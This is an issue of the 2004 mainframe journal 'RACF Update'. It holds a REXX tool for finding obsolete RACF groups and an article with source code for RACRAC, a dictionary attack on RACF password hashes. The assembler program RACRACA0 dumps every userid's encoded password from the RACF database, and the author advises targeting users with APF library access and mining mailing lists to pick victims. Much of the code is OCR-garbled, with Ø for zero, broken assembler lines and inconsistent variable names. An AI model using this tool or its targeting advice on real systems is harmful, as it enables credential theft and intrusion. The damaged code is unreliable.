In this issue

3  Identifying groups that may be candidates for deletion
8  RACRAC dictionary attack on weak passwords
37  RACF in focus – Global Access Checking Table
42  C/C++ functions for RACF security operations
66  RACF 101 – understanding RACF terms
71  RACF news

© Xephon Inc 2004
Disclaimer

Readers are cautioned that, although the information in this journal is presented in good faith, neither Xephon nor the organizations or individuals that supplied information in this journal give any warranty or make any representations as to the accuracy of the material it contains. Neither Xephon nor the contributing organizations or individuals accept any liability of any kind howsoever arising out of the use of such material. Readers should satisfy themselves as to the correctness and relevance to their circumstances of all advice, information, code, JCL, and other contents of this journal before making any use of it.

Contributions

When Xephon is given copyright, articles published in RACF Update are paid for at the rate of $160 (£100 outside North America) per 1000 words and $80 (£50) per 100 lines of code for the first 200 lines of original material. The remaining code is paid for at the rate of $32 (£20) per 100 lines. To find out more about contributing an article, without any obligation, please download a copy of our Notes for Contributors from www.xephon.com/nfc.

This issue is dedicated to the memory of Chris Bunyan, co-founder of Xephon and creator of the Update journals.
Identifying groups that may be candidates for deletion

This is the REXX EXEC I use to identify groups that may be candidates for deletion. I use JCL to call the REXX. Once identified, a list of DG commands is built. SYS4.RACF.IRRDBU00 contains an IRRDBU00-unloaded RACF database.

JCL

```plaintext
//** JOBCARD
//**************************************************************************
//** CLEAN UP OBSOLETE GROUPS.
//** ----------------------------------
//** THIS REXX LOOKS FOR GROUPS THAT HAVE:
//**  No Users, No Subgroups, Do Not match any DS HLQs, and
//**  are not the Owners of any resources.
//** Once identified, a list of "DG" commands will be built.
//**************************************************************************
//REXX1    EXEC PGM=IKJEFT01,DYNAMNBR=30,REGION=4096K
//SYSEXEC  DD DSN=SYS3.RACF.JCLLIB,DISP=SHR
//SYSTSPRT DD SYSOUT=* 
//REXOUT   DD SYSOUT=5
//DBINPUT  DD DSN=SYS4.RACF.IRRDBU00,DISP=SHR
//SYSTSIN  DD   *
%REXOLDGR
/*
```

REXX EXEC

```plaintext
/* REXX */
/*
/* Look for obsolete groups. These are defined as groups having: */
/* 1. No users. */
/* 2. No Subgroups */
/* 3. No corresponding dataset profile. */
/* */
/* This + 0100 - Group Basic -- */
/* Report + 0102 - Group Member -- */
/* Uses + 0200 - User Basic -- */
/* These + 0205 - User Connect -- */
/* Record + 0400 - dataset basic -- */
```

/*       Types       +  Ø4Ø4 - dataset access --                    */
/*                   +  Ø5ØØ - general resource basic --             */
/*                   +  Ø5Ø5 - general resource access --            */
/*                                                                   */
/*                                                                   */
/*------------------------------------------------------------------ */
/* dbufile is IRRDBUØØ unloaded dataset                           */
call setvars
call readitin
call filter
say 'Invoking routing to eliminate dupes in groups found list --'
call elimdups
say 'finished'
say 'Invoking routine to compare all grpnames with found grpnames'
call comparr
say 'finished'
say 'Are any of these groups the HLQ of a ds profile? checking ...'
call hlqsrch
say 'finished'
queue ' /**                                                        **/
queue ' /**               Group Clean-up Tool                      **/
queue ' /**     There are 's' groups that appear useless           **/
queue ' /**                                                        **/
"EXECIO * DISKW rexout"
"EXECIO * DISKW rexout (stem findog. finis"
exit
/* */
/* Subroutines to handle each record type                         */
/* set up initial variables ())))))))))                     */
setvars:
j = Ø
s = 1
x = Ø
bb = 1
y = Ø
z = Ø
return
/*       read in from unloaded file                              */
readitin:
eof = 'no'
say 'reading in from sys3.racf.irrdbuØØ, please wait ....       '
"EXECIO Ø DISKR dbinput (OPEN"
do while eof = 'no'
"EXECIO 1 DISKR dbinput (stem inrec."
if RC = 2 then eof = 'yes'
else
do
j = j + 1
dbfle.j = inrec.1
end  /* else if rc = 2 */
end     /* do while eof = no */

"EXECIO Ø DISKR dbinput (FINIS"
/* ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) */
say 'Total Records in unloaded dataset ==> 'j
return

/* process each different record type */
filter:
do  g = 1 to j
   Rec_type = substr(dbfle.g,1,4)
   select
      when Rec_type = Ø1ØØ then call GPBD
      when Rec_type = Ø1Ø1 then call GPSG
      when Rec_type = Ø1Ø2 then call GPME
      when Rec_type = Ø2Ø0 then call USBD
      when Rec_type = Ø2Ø5 then call USCN
      when Rec_type = Ø4ØØ then call DSBD
      /* when Rec_type = Ø4Ø4 then call DSACC */
      when Rec_type = Ø5Ø0 then call GRBD
      /* when Rec_type = Ø5Ø5 then call GRACC */
      otherwise iterate
   end
end     /* select */
end     /* do a */
return

/* GPBD, Record Type Ø1Ø0 */
GPBD:
gpdb_owner_id = substr(dbfle.g,35,8)
gpdb_name = substr(dbfle.g,6,8)
goodgrp.x = gdbd_owner_id
x = x + 1
allgrp.y = gdbd_name
y = y + 1
return

/* GPSG, Record Type Ø1Ø1 */
GPSG:
gpsgrp_name = substr(dbfle.g,6,8)
gpsgrp_subgrp_id = substr(dbfle.g,15,8)
goodgrp.x = gpsgrp_name
x = x + 1
return

/* GPME, Record Type Ø1Ø2 */
GPME:
gpmem_name = substr(dbfle.g,6,8)
gpmem_member_id = substr(dbfle.g,15,8)
gpmem_auth = substr(dbfle.g,24,8)
goodgrp.x = gpmem_name
x = x + 1
return

/* USBD, Record Type Ø2Ø0 */
USBD:
usbd_owner_id = substr(dbfle.g,26,8)
usbd_name = substr(dbfle.g,6,8)
goodgrp.x = usbd_owner_id
x = x + 1
return
/* USCN, Record Type 0205 */
USCN:
uscn_ownid = substr(dbfle.g,35,8)
goodgrp.x = uscn_ownid
x = x + 1
return
/* DSBD, Record Type 0400 */
DSBD:
dsbd_owner_id = substr(dbfle.g,74,8)
dsbd_name = substr(dbfle.g,6,44)
dsbd_nam = strip(dsbd_name,'t')
needle = pos('.',dsbd_nam)
hlqlen = needle - 1
dsnhlq.bb = left(dsbd_nam,hlqlen)
bb = bb + 1
goodgrp.x = dsbc_owner_id
x = x + 1
return
/* DSACC, Record Type 0404 */
DSACC:
dsacc_auth_id = substr(dbfle.g,58,8)
goodgrp.x = dsacc_auth_id
x = x + 1
return
/* GRBD, Record Type 0500 */
GRBD:
grbd_owner_id = substr(dbfle.g,282,8)
goodgrp.x = grbd_owner_id
x = x + 1
return
/* GRACC, Record Type 0505 */
GRACC:
gracc_auth_id = substr(dbfle.g,262,8)
goodgrp.x = gracc_auth_id
x = x + 1
return
/* elimdups: in list of groups found, get rid of dups */
/*                     output will be in temp.kk                  */
elimdups:
temp.1 = goodgrp.1
say 'Going through list of good groups, throwing out dups'
kk = 2          /* kk points to current entry in output table */
do ii = 1 to x   /* ii will walk through big grpfnd table */
hit = no
    do jj = 1 to ii /* jj will step through */
      if temp.jj = goodgrp.ii then
do
        hit = yes
        leave jj
    end  /* if goodgrp.ii */
end  /* do jj */
if hit = no then
    do
temp.kk = goodgrp.ii
    kk = kk + 1
    end  /* if hit = no */
end  /* do ii */
return

/* comparr: looking for old groups */
comparr:
    kk = kk - 1 /* because kk is actually one past table size */
    y = y - 1 /* I think that Y is one number too long */
    do e = 1 to y /* y is the number of group basic records */
    match = no
    do r = 1 to kk /* kk is the number of group entries found */
        if allgrp.e = temp.r then do
            match = yes
            leave r
        end  /* if allgrp.e */
    end  /* do r */
    if match = no then queue allgrp.e
end  /* do e */
return

/* hlqsrch: is this group the high-level qualifier of a dataset? */
hlqsrch:
    do qq = 1 to queued() /* stack contains the groups in question */
    match = no
    pull bobbie
    do ww = 1 to bb /* bb is number of dataset hlqs */
        if bobbie = dsnhlq.ww then do
            match = yes
            leave ww
        end  /* if bobbie */
    end  /* do ww */
    if match = no then
        do
            findog.s = ' DG 'bobbie
            s = s + 1
        end
    end  /* do e */
return

/** end of subroutines */
RACRAC dictionary attack on weak passwords

SUMMARY
In this article, a brute force attack method of exploiting the standard RACF DES password encryption mechanism is explained in detail. The application does a DES encryption using every new word in the vocabulary against known users and any new user using the whole vocabulary, and keeps the result for future use. This implies that user X with a – for the moment – safe password will be recognized whenever s/he changes the password to something that is part of our dictionary. RACRAC keeps the already calculated permutations so that, by way of easy comparison, the vulnerability will be discovered in the next run of the program in almost immeasurably small time-spans. This saves computer cycles but raises inevitable deontological (the science relating to duty or moral obligation) questions.

To put it simply, starting from a list of words, you try every userid known to the security database (RACF) to see whether there is a match. If there was a usable match in the past, you do not have to do the maths.

Locally-defined exception password rules can be introduced in a simple REXX program that functions as an ‘exit’.

With every run, the program becomes more powerful because known combinations are retried without doing the DES mathematics behind it. This allows you to gradually build up a dictionary without claiming the computer for hours. The check can be run regularly because only simple comparisons are used.

INTRODUCTION
The mainframe world was isolated from the networked society to an extent that systems programmers, database administrators,
or security officers often ignored the fact that their ‘Fort Knox’ computers were becoming as vulnerable as any other Internet machine. An OS/390 or z/OS system can be under attack from the same ‘script kiddies’ using the same tools to target the mainframe as they would any other computer on the Web. A virus or worm will probably not be written to target a mainframe. We are somehow sheltered from that because of the lack of mainframe knowledge in the hacking society.

The APF mechanism is – as far as I know – unique in the computer world as a means of combining system software and hardware to avoid intrusion. There are other ways of course to abuse a mainframe system – like SVCs, program calls, I/O appendages, the program properties table, and so on. Nevertheless, it must be said that the danger lurks mostly from within: people with a valid userid/password combination, no matter how weak their authority is. Theoretically the only way to abuse a z/OS system is by having access to system libraries.

The RACRAC application is a neat example of how APF remains the cornerstone of mainframe security. In order to run RACRAC, one does not even need READ access to the RACF databases. UPDATE access to an APF authorized library, to contain the Assembler programs RACRACA0 and RACRACA1, will suffice. This is the most difficult part – READ access to the RACF database would eliminate the APF requirement. In my experience, clients tend to define access to the RACF database with the idea at the back of their mind that in order to control one’s password one has to be authorized to read the database. This common belief is absolutely untrue. With READ access to the RACF database(s) one would not even need access to an APF library to run RACRAC. IBM did a good job by excluding the password field from the RACF database unload facility (IRRDBU00). On the other hand, the dataset is open and the DEB can be found easily in the Database Descriptor Table (DSDT), pointed to by the DSDPDEB field. This factor is not abused by RACRAC, but if there is sufficient interest from readers (e-mail me at jan.de.decker@tiscali.be), this could be the subject of a follow-up article.
Deontologically, much has been said about bringing password cracking programs into the open. I, for one, am convinced that there is no value in ‘security by obscurity’. In the non-mainframe world, it is now generally accepted that a design should be openly published and examined by the world on its risks. Furthermore, the mainframe nowadays is not safe any more. A Denial Of Service (DOS) attack can be done by introducing some code via the Web onto a few thousand victims’ computers that then will unwittingly ask your precious HTTP z/OS Web server for a non-existent page. This is quite different from the situation when SNA ruled the waves. The funny side is that IBM recognized the fact and rebaptized the OS and its components to something ending with the magic word ‘server’. Everything is a server, MVS became z/OS, RACF for instance is the ‘Security Server’, VTAM is now known as the ‘Communications Server’, etc. All this happened because the mainframe became connected to the real world. And it is an ugly world outside!

About the question of bringing RACRAC into the open: I remember that Vanguard once launched a ‘RED ALERT’ to the security society because there was a program (see http://www.os390-mvs.freesurf.fr/mvs.htm) on the market that could ‘crack DES-encrypted passwords’. This is impossible, as far as I know, but perhaps the NSA might have an algorithm at their disposal. Mathematically the only way to break a DES-encoded password is by sheer luck.

What RACRAC does is enhance your luck factor. It starts from a dictionary of words and tries them against every userid. The program could easily be modified to try only ‘usable’ userids, like people who have RACF SPECIAL, OPERATIONS, or AUDIT attributes. There are many things that could be mentioned here; let us focus on just two examples. E-mail address books often contain usable information about the RACF group structure. Help Desk people with the authority to reset a password are often connected to the group, or are a subgroup of people who have worldwide SPECIAL. People who are members of the RACF-L Internet list group often have RACF SPECIAL, members of the MVS mainframe IBMAIN-L list group, on the other hand,
mostly have access to system libraries. Harvesting the archives of these groups could reveal interesting things in your own company. From a security point of view, public Internet e-mail exchange should be permitted only using an alias name that cannot be traced back to a real name/userid. Alas, this is mostly not the case.

Personally, I would go for users with access to APF libraries. Browsing datasets like SYS1.PARMLIB should give a nice starting list of users with UPDATE access (last changed by field). Probably the same people have access to other sensitive datasets as well. Since RACRAC issues a brute force attack, checking 50 users against 40,000 passwords requires the same number of processing cycles as checking 50 verbs against 40,000 users. Cryptographic co-processors do not speed up the process. RACF does not use them for the calculation of 8-byte long character string DES-encoded numbers. This is where things become tricky. If a systems programmer, for instance, launches a REXX program to set up his environment conveniently at the moment of LOGON, access to this REXX could be enough to copy a malicious program into an APF library, making RACRAC obsolete or authorized (depending on the skills of the intruder).

The surplus value of RACRAC, and this is why I call it an application rather than a program, is that no computing power is wasted on combinations that were tried before. In other words, if John’s password was not Mary before he married, it could become so afterwards. Because we tried the combination John/Mary before, and kept the results, we have only to compare the database DES-encrypted bytes with our DES-encrypted John/Mary permutation.

We ran the program twice, once with an empty U(ser)V(ocabulary)Password and once against the UVP file created in the first run without adding new words to the vocabulary. The first run took 13,517,000 service units (SUs) to complete, the second one (with the same results) only 2,645 (QED).
ARCHITECTURE

Contrary to common believe, the RACF password is not stored in the database(s). The password is used to calculate a DES number starting from the userid, which is compared with the result in the database. The algorithm and some of the nicer attacks are explained at http://www.tropsoft.com/strongenc/des.htm

In the application, U stands for user-id, V for vocabulary, and P for password. The first time we start from a vocabulary (V) and an empty U(ser)V(ocabulary)P(assword) dataset. A vocabulary with the names of popular movie characters, pets, licence numbers, birthdays, gnomes, months, can be easily constructed or found at the Internet (a good start is http://www.pwcrack.com/index.shtml).

The steps to follow are described below:

S0 The Assembler program RACRAC0 reads all the userids’ password combinations in the RACF database using simple ICHENITY macro instructions. These are stored in a file called U(ser)P(assword).

S1 The old U(ser)V(ocabulary)P(assword) dataset is sorted on userid. This step is obsolete if no other application uses the UVP dataset.

S2 The dictionary is sorted alphabetically. This could also be avoided if entries were always made in the correct order.

S3 The REXX program RACRACR0 reads the (old) U(ser)P(assword)V(ocabulary) dataset and the U(ser)P(assword) file filled by RACRACA0 to write the work files of this run by creating N(ew)U(ser), O(ld)U(ser), N(ew)V(ocabulary), O(ld)V(ocabulary), and the combined U(ser)V(ocabulary)P(assword). The output looks like this:

```
New users: Ø Old users: 42Ø83 Deleted users: 1
New verbs: Ø Old verbs: 5Ø
READY
END
```
S4 As written, the REXX program RACRACR1 is executed. It has access to all the work files created in the previous step and is meant to function as a sort of exit where all data is accessible. In the example given, it adds the RACF default group to the U(ser)V(ocabulary) combinations in the dataset U(ser)V(ocabulary)1. Depending on the password policy, as defined with the RACF SETROPTS command, an entirely different approach can be implemented here by simply changing the permutations that will be checked. The example needs RACF SPECIAL authority. The output appears thus:

Exit created 3464 extra entries in the UV1 file.
READY
END

S5 A REXX program (RACRACR2) merges the new combinations N(ew)U(ser) – O(ld)V(ocabulary), N(ew)U(ser) – N(ew) V(ocabulary), and O(ld)U(ser) – N(ew)V(ocabulary) into a new file, U(ser)V(ocabulary)2. The output (from a run without new userids or new words in the vocabulary) looks like the following:

Combinations for new users and new verbs: Ø
Combinations for new users and old verbs: Ø
Combinations for old users and new verbs: ØíÞ
Total number of combinations in the UV2 file: Ø
READY
END

S6 The Assembler program RACRACA1 reads the U(ser)V(ocabulary)1 file created by the ‘exit’ program RACRACR1, written in S4, and decodes the combinations in the file U(ser)V(ocabulary)Password2.

S7 The same Assembler program (RACRACA1) is used to encode the new U(ser)V(ocabulary)2 permutations created in S5.

S8 The N(ew)V(ocabulary) and O(ld)V(ocabulary) files are sorted in a new master file V(ocabulary). This is only done to produce a neat report in step SB.

S9 All U(ser)V(ocabulary)Password files are merged into a master file against which the check will be done with the
RACF DES-encrypted passwords. The master dataset is called U(ser)V(ocabulary)P(assword)4.

SA All U(ser)V(ocabulary)P(assword)4 combinations bar the ‘exit’ generated ones (step S4) are combined into the new master U(ser)V(ocabulary)P(assword)4 that will be used for the next run.

SB All the data is now available. The REXX program RACRACR3 compares the decoded combinations with the RACF data and produces a report. Typically 15% to 20% of the passwords are cracked using a larger vocabulary than we ours (50 words). The output looks like this:

RACRAC Summary report
-----------------------

On a total of 42083 users, 1516 were recognized,
using a vocabulary of 50 verbs.
Following users/password combinations were recognized:

UUUUUUU / PPPPPP

At the end a RACF LISTUSER command is executed for every compromised userid.

PROGRAM NOTES

Please protect the U(ser)V(ocabulary)P(assword) at the same level as your proper RACF database(s).

The dataset U(ser)V(ocabulary)P(assword) must be pre-allocated (RECFM=FB, DSORG=PS, LRECL=24), but may be empty for the first run.

The V(ocabulary) dataset must exist (RECFM=FB, DSORG=PS, LRECL=8) and contain a number of strings against which the passwords are compared.

A user abend 46 will occur if one of the sort temporary datasets is too small.

The REXX programs can be compiled in order to go a bit faster. The ‘exit’ step that calls RACF for each user in foreground and
reads the complete output, searching for the default group, consumes a lot of MIPS. This can be easily avoided by replacing it with an Assembler program that uses ICHEINTY to collect the same information (for instance as built straight into RACRACA0). I left it this way just to have an easy, ready-to-be-changed, ‘exit’ point.

**RACRACA0**

```plaintext
//JEDSPA   JOB (JAN), 'JAN DE DECKER', CLASS=A, MSGCLASS=U,
//         NOTIFY=&SYSUID, REGION=ØM, COND=(Ø, NE)
//*   THIS VERSION LOOPS THROUGH THE RACF DB AND DUMPS ALL
//* USERID/PASSWORD COMBINATIONS TO THE UP DD STATEMENT.
//*  ASM      PROC M=,'ASMA9Ø', RENT=NORENT
//*  ASSEMBLE SOURCE
//*  A        EXEC PGM=&P,
//         PARM=(OBJECT, NODECK, NOTEST, &RENT)
//SYSLIB   DD DSN=SYS1.MACLIB, DISP=SHR
//         DD DSN=SYS1.MODGEN, DISP=SHR
//SYSUT1   DD UNIT=VIO, SPACE=(CYL, (1, 1))
//SYSPRINT DD SYSOUT=*  
//SYSLIN   DD DSN=&OBJECT, DISP=(, PASS), UNIT=VIO, SPACE=(CYL, (1, 1)),
//         DCB=(LRECL=80, RECFM=FB)
//*  LINK-EDIT: THE SYSLMOD DATASET NEEDS TO BE APF AUTHORIZED
//*  L        EXEC PGM=IEWL, PARM=(XREF, LET, LIST, MAP, AC(1),
//         &RENT)
//SYSPRINT DD SYSOUT=*  
//SYSLMOD  DD DSN=JEDSP.LOADLIB(&M), DISP=SHR
//SYSLIN   DD DSN=&OBJECT, DISP=(OLD, DELETE)
// PEND
//*  ASSEMBLIES
*//RACRACAØ EXEC ASM, M=RACRACAØ
//A.SYSIN   DD *
RACRACAØ TITLE '*** RACRACAØ: RACF EXTRACT PROCESSING               JANX
DE DECKER ***'
* JAN.DE.DECKER@TISCALI.BE   JED:SP N.V.  START OF SPECIFICATIONS
* MODULE:                RACRACAØ
* LOADMODULE:            RACRACAØ
* STATUS:               VIR2MØ
```

* LOCATION: JOB PACK AREA
* PARAMETERS: N/A
* RETURN CODES: 0 OK
*          8 GETMAIN_ERROR
*          12 FREEMAIN_ERROR
* USER ABENDS: 666 OPEN FAILURE
*          999 ICHEINTY (RC <> 0) & (RC <> 12)
* CALL TYPE: MAIN PROGRAM
* PURPOSE: CREATE A LIST OF USERID/DES-ENCODED PASSWORD COMBINATIONS
* LOGIC: LOOP THROUGH THE RACF DATABASE WITH ICHEINTY
*          WRITE TO DDNAME UP
* RECOVERY: N/A
* LOCKS: N/A
* SYSTEM: Z/OS V1R4
* LINK: AMODE 31
*          RMODE ANY
*          AC=1
*          RENT (NOT REALLY NECESSARY)
* MACROS: ICHEINTY
* DSECTS: NONE EXCEPT OWN WORKAREA
* USE: PREEALLOCATE DDNAME UP
* AUTHOR: JAN                  DATE: 11/2003
* SAMPLE: N/A
* NOTES: PART OF RACRAC APPLICATION
* MODIFICATION: JAN 05/2004 CLEAN-UP FOR MORE GENERAL USE
EJECT
RACRAC0 CSECT
RACRAC0 AMODE 24
RACRAC0 RMODE 24
PRINT GEN
BAKR RE,Ø          SAVE REGISTERS
LR RC,RF           RC --> START OF RACRAC0
USING RACRAC0,RC   ADDRESS RACRAC0 WITH RC
LR RA,R1           KEEP PARAMETER POINTER
EYECATCH .
AMODE24 .          CHANGES R0 AND R1
* START OF PROCESSING
STORAGE OBTAIN,    ASK FOR STORAGE   X
LENGTH=L_WORK,     FOR OUR WORK AREA   X
BNDRY=PAGE,       ON A PAGE BOUNDARY   X
LOC=24,         UNDERNEATH THE LINE   X
COND=YES         DO NOT ABEND IF PROBLEM
LTR RF,RF         GETMAIN OK?
BZ LØØ00       YES --> CONTINUE
LA RF,GETMAIN_ERROR SET RETURN CODE
PR .            AND RETURN TO CALLER
* SET THE WORKAREA TO BINARY ZERO AND INITIALIZE
LØØ00 DS ØH
LR R2,R1        R2 --> WORK AREA
USING WORKAREA,R2
R2 ADDRESSES THE WORK AREA
LR R4,R1
R4 --> WORK AREA
LR R6,R1
R6 --> WORK AREA
LA R7,L_WORK
R7 = L(WORK AREA)
XR R5,R5
R5 = \emptyset
MVCL R6,R4
ZERO OUT WORK AREA
MVC SAVEAREA+4(4),=C'F1SA'
LINKAGE STACK INDICATOR
LA RD,SAVEAREA
RD --> SAVEAREA

* START REAL WORK
R2 ADDRESSES THE DYNAMIC WORK AREA
RC ADDRESSES OUR CSECT
RD --> OUR SAVEAREA
MVC RETALEN(4),=AL4(L'RETAREA)
MVC D_Actn1,S_Actn1
STATIC TO DYNAMIC AREA
MVC D_Inty1,S_Inty1
STATIC TO DYNAMIC AREA
MVC D_outdcb,S_outdcb
STATIC TO DYNAMIC AREA
LA R6,D_Actn1
R6 --> ICHEACTN DYNAMIC MACRO
LA RB,D_outdcb
RB --> OUTPUT DCB
MVC Entblen,=H'8'
USERID BUFFER LENGTH
MVC Entnlen,=H'1'
SET AS SMALL AS POSSIBLE
XC Entname,Entname
AND TO BINARY ZERO
ICHEINTY Datamap=NEW,
SET UP ICHEINTY
ACTIONS=(D_Actn1),
R6 --> ICHEACNT
WKAREA=RETAREA,
WORKAREA
OPTIONS=(FLDEF,NOEXEC),
R9 --> L USER
RELEASE=7707,
Z/OS V1R4 VERSION
MF=(E,D_Inty1)
TARGET OF MACRO

* OPEN THE OUTPUT FILE
OPEN ((RB),OUTPUT)
OPEN OUTPUT DCB
LTR RF,RF
OPEN OK?
BZ LØØ1Ø
YES --> CONTINUE
ABEND 666,DUMP
NO --> USER ABEND

* LOOP FOR ALL USERIDS (NON-ZERO RC FROM ICHEINTY AFTER THE LAST ONE)
LØØ1Ø DS ÆH
XC Retdata,Retdata
ICHEINTY Nextc,
SET UP ICHEINTY
ENTRYX=Entbuff,
RESTRUCTURED FORMAT
RELEASE=7707,
Z/OS V1R4 VERSION
MF=(E,D_Inty1)
TARGET OF MACRO
LTR RF,RF
RETURN CODE CHECKING
BNZ LØØ2Ø
ICHEINTY NON-ZERO --> STOP
MVC Record,Blanks
BLANK OUT RECORD
LH RB,Entnlen
R8 = L(USERID)
BCTR R8,Æ
-Æ8 (EX INSTRUCTION)
LA R3,Recuser
R3 --> USERID IN RECORD
LA R4,Entname
R4 --> USERID FROM RACF
EX R8,MVC1
MOVE IN USERID
MVC RECPSW, RETPASSW
PUT (RB), RECORD
B LØØ1Ø

* ICHEINTY GAVE A NON-ZERO RETURN CODE
* IF RC=12: END OF DATA (NORMAL)
* ELSE ABEND 999

LØØ2Ø DS ØH
C RF,=F'12'
BE LØØ3Ø

NORMAL END?
YES --> CONTINUE
NO --> USER ABEND

LØØ3Ø DS ØH
CLOSE ((RB))
EJECT

* END OF PROCESSING

THE_END DS ØH

MY ONLY FRIEND, THE END
STORAGE RELEASE, FREE STORAGE CONDITIONAL
ADDR=(R2), WORKAREA POINTER
COND=YES, DO NOT ABEND
LENGTH=L_WORK

LTR RF,RF FREEMAIN OK?
BZ LØØ4Ø

YES

LA RF,FREEMAIN_ERROR SET RETURN CODE
PR . RETURN TO CALLER

LØØ4Ø DS ØH
LA RF,OK RETURN CODE Ø
PR . RETURN TO CALLER
EJECT

* EXECUTE TARGETS

MVC1 MVC Ø(Ø,R3), Ø(R4)
EJECT

* CONSTANTS

BLANKS DC 133C' '
EJECT

* STATIC DCBS

S_OUTDCB DCB DDNAME=UP, DSORG=PS, RECFM=FB, MACRF=(PM), LRECL=16
L_OUTDCB EQU *-S_OUTDCB
EJECT

* RACF MACRO'S STATIC PARAMETER LISTS

S_INTY1 ICHEINTY NEXTC, Locate a profile entry
TYPE='USR', OF type user
DATAMAP=NEW, Restructured format
ENTRY=, R9 -> L USER
RELEASE=77Ø7, Z/OS V1R4 Version
WKAREA=, WORKAREA
ACTIONS=S_ACTN1, -> ICHEACTN
MF=L LIST FORMAT

L_S_INTY1 EQU *-S_INTY1
L(ICHINTY1)

S_ACTN1 ICHEACTN FIELD=PASSWORD,
RELEASE=77Ø7, Z/OS V1R4 Version
MF=L
L_S_ACTN1 EQU  *-S_ACTN1
EJECT
* LITERAL POOL
LTORG
EJECT
* EQUATES
OK                EQU   Ø
GETMAIN_ERROR     EQU   8
FREEMAIN_ERROR    EQU   12
EJECT
* PROGRAM DYNAMIC AREA DSECT
WORKAREA DSECT
SAVEAREA DS  18F                     SAVEAREA
* OUTPUT RECORD
RECORD DS  ØCL16
RECUSER DS  CL8
RECP SW DS  XL8
* NEXT RACF ENTITY
ENTBUFF DS  ØXL12
ENTBLEN DS  H
ENTNLEN DS  H
ENTNAME DS  CL8
* ICHEINTY WORK AREA
    DS  ØF
RETAREA DS  ØXL512                     ICHEINTY LOCATE WORK AREA
RETALEN DS  F                           RETURN AREA LENGTH
RETDATA DS  ØXL36                      DATA PART RETURN AREA
RETRBA DS  XL6                          RBA RETURN AREA
RETFLAGS DS  X                          FLAGS
RETRES1 DS  X                           RESERVED
RETDASC DS  F                           DUPLICATE DATA SET NAME COUNT
RETRES2 DS  XL8                         RESERVED
RETDLEN DS  F                           RETURNED DATA LENGTH
RETPASSL DS  F                           RETURNED DFLTGRP LENGTH
RETPASSW DS  XL8                         RETURNED DFLTGRP
ORG   RETAREA+512
EJECT
* RACF MACRO’S DYNAMIC PARAMETER LISTS
* START ON A DOUBLE WORD BOUNDARY
    DS  ØD
D_INTY1 DS  XL(L_S_INTY1)                ICHEINTY NO 1
    DS  ØD
D_ACTN1 DS  XL(L_S_ACTN1)                ICHEACTN NO 1
EJECT
* DYNAMIC DCB
    DS  ØD
D_OUTDCB DS  XL(L_OUTDCB)
L_WORK EQU  *-WORKAREA              LENGTH OF THE WORKAREA
M#REGS
END
/*
RACRACA1

// JEDSPA  JOB (JAN), 'JAN DE DECKER', CLASS=A, MSGCLASS=U, NOTIFY=&SYSUID,
//        REGION=ØM, COND=(Ø, NE)
/**
/** THIS PROGRAM EXPECTS AN INPUT FILE FROM THE TYPE U(SERID), V(ERB)
/** AND WRITES A FILE (UVP) WITH THE DES-ENCODED VERBS.
/**
/** ASM      PROC M=, P='ASMA9Ø', RENT=NORENT
/**
/** ASSEMBLE SOURCE
/**
/** A        EXEC PGM=&P,
//          PARM=(OBJECT, NODECK, NOTEST, &RENT)
// SYSLIB    DD DSN=SYS1.MACLIB, DISP=SHR
//          DD DSN=SYS1.MODGEN, DISP=SHR
// SYSUT1    DD UNIT=VIO, SPACE=(CYL, (1, 1))
// SYSPRINT  DD SYSOUT=* 
// SYSLIN     DD DSN=&OBJECT, DISP=(*, PASS), UNIT=VIO, SPACE=(CYL, (1, 1)),
//          DCB=(LRECL=8Ø, RECFM=FB)
/**
/** LINK-EDIT: THE SYSLMOD DATASET NEEDS TO BE APF AUTHORIZED
/**
/** L        EXEC PGM=IEWL, PARM=(XREF, LET, LIST, MAP, AC(1),
//          &RENT)
// SYSPRINT  DD SYSOUT=* 
// SYSLMOD   DD DSN=JEDSP.LOADLIB(&M), DISP=SHR
// SYSLIN    DD DSN=OBJECT, DISP=OLD, DELETE,
//          PEND
/**
/** ASSEMBLIES
/**
/** RACRACA1  EXEC ASM, M=RACRACA1
// A.SYSIN    DD *
RACRACA1 TITLE '*** RACRACA1: RACF EXTRACT PROCESSING (ENCODING) JANX
DE DECKER ***'
* JAN.DE.DECKER@TISCALI.BE  JED:SP N.V. START OF SPECIFICATIONS
* MODULE:   RACRACA1
* LOADMODULE:  RACRACA1
* STATUS:   V1R2MØ
* LOCATION:  JOB PACK AREA
* PARAMETERS:  N/A
* RETURN CODES:  Ø  OK
*  8  GETMAIN_ERROR
*  12  FREEMAIN_ERROR
*  666 INPUT FILE OPEN ERROR
*  999 OUTPUT FILE OPEN ERROR
*  696 RACROUTE NON-ZERO RETURN CODE
* CALL TYPE:  MAIN PROGRAM
* PURPOSE:  DES ENCODE USERID/VERB COMBINATIONS
* LOGIC: READ DDNAME UV
*        DES ENCODE UV
*        WRITE UVP
* RECOVERY: N/A
* LOCKS: N/A
* SYSTEM: Z/OS V1R4
* LINK: AMODE 24
*        RMODE 24
*        AC=1
* MACROS:
* DSECTS:
* USE: RACRAC APPLICATION
* AUTHOR: JAN                  DATE: 11/2003
* SAMPLE: N/A
* NOTES:
* MODIFICATION: JAN 43 RECOVERY AND CLEAN-UP
* TO DO:
  EJECT
RACRACA1 CSECT
RACRACA1 AMODE 24
RACRACA1 RMODE 24
M#REGS
PRINT GEN
BAKR RE,0                SAVE REGISTERS
LR RC,RF                 RC --> START OF RACRACA1
USING RACRACA1,RC       ADDRESS RACRACA1 WITH RC
LR RA,R1                 KEEP PARAMETER POINTER
EYECATCH
AMODE24                 CHANGES R0 AND R1
* START OF PROCESSING
GETMAIN RC,              ASK FOR STORAGE
     LV=L_WORK           FOR THIS LENGTH
LTR RF,RF                 GETMAIN OK?
BZ LØØØØ                YES --> CONTINUE
LA RF,GETMAIN_ERROR       SET RETURN CODE
PR                             AND RETURN TO CALLER
LØØØØ DS ØH
LR R2,R1                 R2 --> WORK AREA
USING WORKAREA,R2         R2 ADDRESSES THE WORK AREA
LR R4,R1                 R4 --> WORK AREA
LR R6,R1                 R6 --> WORK AREA
LA R7,L_WORK            R7 = L(WORK AREA)
XR R5,R5                 R5 = Ø
MVCL R6,R4              ZERO OUT WORK AREA
MVC SAVEAREA+4(4),=C'F1SA' LINKAGE STACK INDICATOR
LA RD,SAVEAREA          RD --> SAVEAREA
EJECT
* START REAL WORK
* R2 ADDRESSES THE DYNAMIC WORK AREA
* RC ADDRESSES OUR CSECT
* RD --> OUR SAVEAREA

* OPEN THE OUTPUT FILE

MVI   KEYLEN,X'08'            FIXED LENGTH FOR USERID
MVC   D_INDCB,S_INDCB         STATIC TO DYNAMIC AREA
